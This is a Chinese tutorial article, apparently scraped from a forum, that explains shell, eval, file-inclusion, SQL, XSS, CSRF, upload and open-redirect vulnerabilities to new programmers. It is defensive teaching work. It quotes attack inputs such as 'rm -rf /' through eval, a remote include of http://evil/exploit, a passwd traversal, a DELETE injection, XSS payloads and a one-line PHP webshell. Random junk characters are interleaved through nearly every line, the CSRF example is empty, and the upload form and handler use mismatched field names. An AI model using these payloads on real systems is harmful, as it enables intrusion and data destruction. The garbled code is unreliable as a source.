|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1 : }! @0 E' v8 B
[size=1em]2
- Q3 o0 D% Y; H2 |* I1 m7 Y8 F" l9 q[size=1em]3 6 S5 D z- g/ D5 T* O- M6 ~$ S/ E# B# |
[size=1em]4 ; O7 Y* Z) n5 b$ o9 U
[size=1em]5 - b! [; d% v" B# [4 n
[size=1em]6
5 m* b+ g+ U2 \5 z) h" @8 ? Z[size=1em]7
2 Z" k V7 R* o[size=1em]8 - ]9 J) w2 t4 G3 e& l; I4 L; K
[size=1em]9
5 P+ s* B6 K |+ x" {) e9 K[size=1em]10
1 w' I; s4 N8 g0 Q% _: y[size=1em]11 / G2 B2 Y" L- P9 x
| [size=1em][size=1em]use CGI qw(:standard);
- r/ W& `0 S/ i8 D$ h t[size=1em]$name = param('name');
9 V+ g/ o& c" Z! Q4 n* [[size=1em]$nslookup = "/path/to/nslookup";
) B; s% m& [: V/ b& q- \) g[size=1em]print header;; c P# V+ y7 e) i- B
[size=1em]if (open($fh, "$nslookup $name|")) {: Z) h/ {* x. G4 h7 M. @7 @" ~; Z; ~
[size=1em] while (<$fh>) {! ]5 O1 I- d5 i6 t4 h* f( ?8 A
[size=1em] print escapeHTML($_);
5 v7 Q% t3 P Y4 J7 u# g' j[size=1em] print "<br>\n";3 e! g, S; `% l% J+ o6 t
[size=1em] }% d% N5 N8 r% k$ X/ R. Y
[size=1em] close($fh);
. M7 r; c, e+ ?3 M[size=1em]}
" ]/ h. d$ X3 v1 B2 m
% }# y! Y% `- H( D | * m$ a( B. k. W
9 t0 z/ A$ o! U: Q- N8 g
如果用户输入的参数是: [size=1em][size=1em]1
+ ^" X0 p4 c& P9 L' C6 k | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
& h2 r3 b5 Q* L; G; w1 `+ o k/ N' J* y' j& O: X1 P
|
6 ^/ w) P- L& y9 x3 M8 u* a ^+ ~* O+ k3 H' k4 O8 r/ M+ n' n
那么,这段perl的程序就成了:
, u4 p$ \: u# b- F+ s! w[size=1em][size=1em]1
( V- d! u/ u! [% ]! J" | | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l/ i# V1 ~# f& K7 ]1 q9 V
7 Q5 M( ~1 ]* f! g* K
|
+ J% N6 _$ A# X/ W( z
8 u8 X3 N+ W1 r8 a: k5 b我们再来看一段PHP的程序: [size=1em][size=1em]1 % t4 q/ V# ?6 n$ }: G, u
[size=1em]2
! u+ I, S0 L# P( [$ H0 k[size=1em]3 * G/ m- P; s% k; d; t
| [size=1em][size=1em]$myvar = 'somevalue';, c: O/ P# u2 h" D* O
[size=1em]$x = $_GET['arg'];
7 T5 {0 a1 u0 r0 F[size=1em]eval('$myvar = ' . $x . ';');
P# L( {1 C/ j4 q/ A/ W! A2 ~) c9 o1 j( N
| : f0 k3 \; G; n6 _
6 C% R, f/ ?: K! b“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
2 S0 a6 }! f! K+ d/ I$ q- |+ F[size=1em]2
! k! B9 w8 @- m( r9 L" m[size=1em]3 , g5 }1 J1 U: h0 _7 D
[size=1em]4 - Z# w5 e# Q* j% U6 i- s, e4 u
[size=1em]5
2 o0 B( N9 j6 M. b5 w! P4 ^ i! ?1 \[size=1em]6 $ F2 j! @# l8 {3 a9 r6 T2 H
| [size=1em][size=1em]$isadmin= false;
) d B9 ~7 d' `) D[size=1em]...
( r" l# d- R9 E/ X8 v# E[size=1em]...* x; O" F6 W- f' L; W- j( d; ^
[size=1em]foreach ($_GET as $key => $value) {
|/ r: ]$ Y( C7 q2 c9 s0 b[size=1em] $$key = $value;
! m+ a! P* }5 v. N! Q ]2 O F; T: l[size=1em]}$ ?; T# r! X$ I2 G) C# A8 u
7 A. R1 _1 M8 @5 T, d! @9 ^ | " b6 X1 a+ m! N2 I* m5 N& c
) N+ W: y" n5 P0 B# M8 D如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1
" q1 f: D/ _! l: @5 V) F[size=1em]2
A- R% w1 _! U9 ][size=1em]3
0 l, `$ X! _% x* a& e[size=1em]4 4 e/ [! k; k4 m: G
| [size=1em][size=1em]$action = 'login';! e; |. T! ]/ J& k+ _
[size=1em] if (__isset( $_GET['act'] ) )
! |6 A4 @" r& y# G; a[size=1em] $action = $_GET['act'];. U# p! g. ?3 G' F' p4 ]
[size=1em] require( $action . '.php' );4 l% ~' r5 ]7 P1 T
% }8 [1 K) Q* s# _ |
- o! C0 ]4 u/ n7 y8 p; A. ~$ @9 V# s" h
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
. X1 N% a/ j: Q% g8 L+ b2 J
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
( q% z& x# v; [2 ?. Y$ L5 s
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1
0 {5 |6 l3 t- {& Z6 J6 u# x1 K[size=1em]2 " g( t+ m; u7 Q
| [size=1em][size=1em]strSQL = "SELECT * FROM users
1 u. g. ^0 T- G. s- d+ N' t) o[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"2 q9 N7 b- B7 k: n/ ]; Q: w
, q. j8 O0 z1 }3 a' z
|
) ~; W8 f6 i3 ~5 I* J! A; A( ]2 x c7 v: U
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1
( {- B4 {* d) k | [size=1em][size=1em]userName = "' OR '1'='1";& V# f0 [" R5 m/ W2 g
# @9 C. a/ b+ }- E- M | 6 D0 ]6 \8 }$ g. x. ^" U' ?$ F
1 S7 F, e9 h* W9 L9 h3 Q' Q- j& Q[size=1em][size=1em]1 5 G/ Y7 u6 N+ i, O/ a
| [size=1em][size=1em]passWord = "' OR '1'='1";
+ y& c9 c5 h1 _; K6 w/ d1 w* w- L' x; t3 G, N. j. [% q
| " A$ q" \0 C, | G* ?
# O. i/ i$ c) C' S2 I
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1 ) p0 N* Y2 G1 M* w# O* q! P4 N9 i
[size=1em]2
" f* L( f. u" t5 |1 e" k2 z! a7 P | [size=1em][size=1em]strSQL = "SELECT * FROM users
6 r9 ~+ V9 M- N6 r. \" `8 t8 J; z9 ~[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
) d. l/ J* F( L- }; K9 F8 R; k: \
| ! R" c2 ?# o& G' M! m
$ y( D9 i6 `3 w% V7 ?# U+ w0 M3 F# D也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
" m+ w2 J6 o4 Q" W) h | [size=1em][size=1em]strSQL = "SELECT * FROM users;"! N4 Q4 z2 {2 G3 N# l( D4 t
: ?; s( X n" o |& p! R, c | & D9 d/ Z! N2 R) J
* W3 K% T- y; M G2 `4 s这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1 ( u2 {- \$ l! @. |( v9 S% i( W
| [size=1em][size=1em]username= "' ; DELETE FROM users; --";
% _4 Z3 R: w7 b" J. M9 g5 b$ J. C+ `* G
|
6 k8 O% b- F) y: b# \- z, y, D% W7 U0 u& B# F5 ~8 b! Y
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
& o& v- q3 y2 ?[size=1em]2
V/ x: F1 \! v |0 V[size=1em]3 6 A' |+ f% W$ y/ J4 S! W
[size=1em]4 0 |$ ~, Z, y0 C- {0 v* e5 M! A% ^
[size=1em]5 - m8 S+ t. [! ~6 i7 c" }
| [size=1em][size=1em]<table background=”javascript:alert(1)”>7 v. y( n% ^3 e8 T6 ]7 ~' t/ _/ k
- Y1 D; J3 R* R K[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾
* @! D# O8 y, K. N. }5 D$ T
4 q* A D4 ]2 O8 o[size=1em]<img src=”javascript:alert(1)”>$ H3 j4 K, o8 M2 m
8 |% W4 F \5 \, s8 A) b$ H
|
8 {$ H6 x; Q8 H: q! n# K) U7 v) U$ A: A$ D3 @
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1 : X3 x' Y* |9 K: q0 \5 t
| | + r* l( |* Q( P8 A' Z6 H
% l3 y) T* I; w# K( E; Y很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。: d3 t' {2 O/ F- t; q7 {; }
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
1 _% L2 C4 d% V: v
& ^( K/ Z) h8 @+ `2 r: M4 ]
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。! d, O4 J" f1 [. T* e [1 o M+ l) i
- 限制cookie的过期时间。
/ s' Z- m6 U% d, K$ V, e4 \2 u' ~# P
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库). e; a' ~5 r/ ]% ~3 m( Q
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 ' s. F: V* m( s! }' C. M/ L9 c- {
[size=1em]2
) h( J8 z' e; I2 g& c[size=1em]3 2 m) d, I& U" K3 [
[size=1em]4
1 q5 b% b) i2 L7 _* u[size=1em]5 3 A& H, x# T3 v8 H
[size=1em]6
1 F. N4 W$ m( j2 J) k$ u[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">8 `. B2 {! K* b# V6 k! a4 R2 o% H& {
[size=1em]要上传的文件:
]7 e6 A& n5 N% _4 u[size=1em]<input type="file" name="filename"/>
" W/ R; P1 S, b[size=1em]<br/>& D% m9 v9 ?) S @! I+ u
[size=1em]<input type="submit" name="submit" value="Submit"/>
1 L, Q' k& \1 m. S9 h2 e[size=1em]</form>9 ]4 {" z- x% T F8 l7 ?" o
& N% D4 d% z$ O% O5 f4 o4 z y
+ K% M! @! [( a$ J9 Q( x+ W) i0 o4 X
[size=1em]后台上传文件的PHP程序[size=1em]1
! J e6 e# W# Z1 S! D8 G. r. G[size=1em]2 4 J& j% Y0 e) T$ }" P
[size=1em]3
8 m9 I+ Q- v9 u2 i* c; j[size=1em]4
K; Q+ i7 `- m/ Z# U[size=1em]5 ( K# F5 ^9 j' m, |
[size=1em]6
( z; ], o; v9 p1 v6 e, d[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);( M5 R3 K* K& A3 {
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
3 U) B. c& H. R1 H& F[size=1em] echo "图片文件上传成功";
$ O7 N3 l* p% X% ^- {' `% S[size=1em]}else{</div>
+ L; T" P) D9 {+ F2 o/ \) R[size=1em] echo "图片文件上传失败";
0 b. |4 |' h; l8 n2 s[size=1em]}& o* g# H1 |9 J
* U- A+ }: y' l: D; r C . Z/ u3 `5 J8 D
' J+ A% a7 s5 W! g' G* H6 r
假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 5 o. ^" |+ ^: O( K7 R! M$ _' G
[size=1em]2
* e9 a4 k2 S& i/ O, D% }3 ?[size=1em]3 0 f' `9 M# C' I/ t. n
[size=1em][size=1em]<?php
( C2 E1 y( }5 e[size=1em]system($_GET['cmd']);6 `3 T- e* i! s" h7 D
[size=1em]?>
, w- B4 h, [1 W3 f3 w5 q9 \: }7 e7 i5 e) x
% {6 C7 F) X" }+ t @3 O' M }! ?' r6 R
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1
- q% d$ ?! [ Q7 v; c! m# A | [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
( c7 g1 @5 z- G( O- W' u* I) v: j6 B2 M% b. U
| 8 y7 t/ |5 z- G( B* y% j$ N
7 j2 }- ^, m# Z, ~, j: @1 b抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
3 w8 Y# C* @% V) k% z- m[size=1em]2 $ t! M3 K: x- c: x
| [size=1em][size=1em]$redirect_url = $_GET['url'];6 Q& v" p# X! p2 Z7 H, Y4 u9 F# o
[size=1em]header("Location: " . $redirect_url);7 R; |/ r+ g) h. c' G1 j
' `$ L8 X V) `$ E7 m+ h- F |
6 F& u4 A: T0 g& ?. g
' ^ c8 J1 u, v3 z* d: {这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
- Q( v! @! W0 F( b. q( V, j- }[size=1em][size=1em]1 0 `) }" u' u% b' A
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
( i5 v: ~% {) B- e
+ \ f2 n1 Q. Z4 r2 N, z8 x |
7 z3 `7 ~$ \8 L, M
) `6 k q% J- e4 Q这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |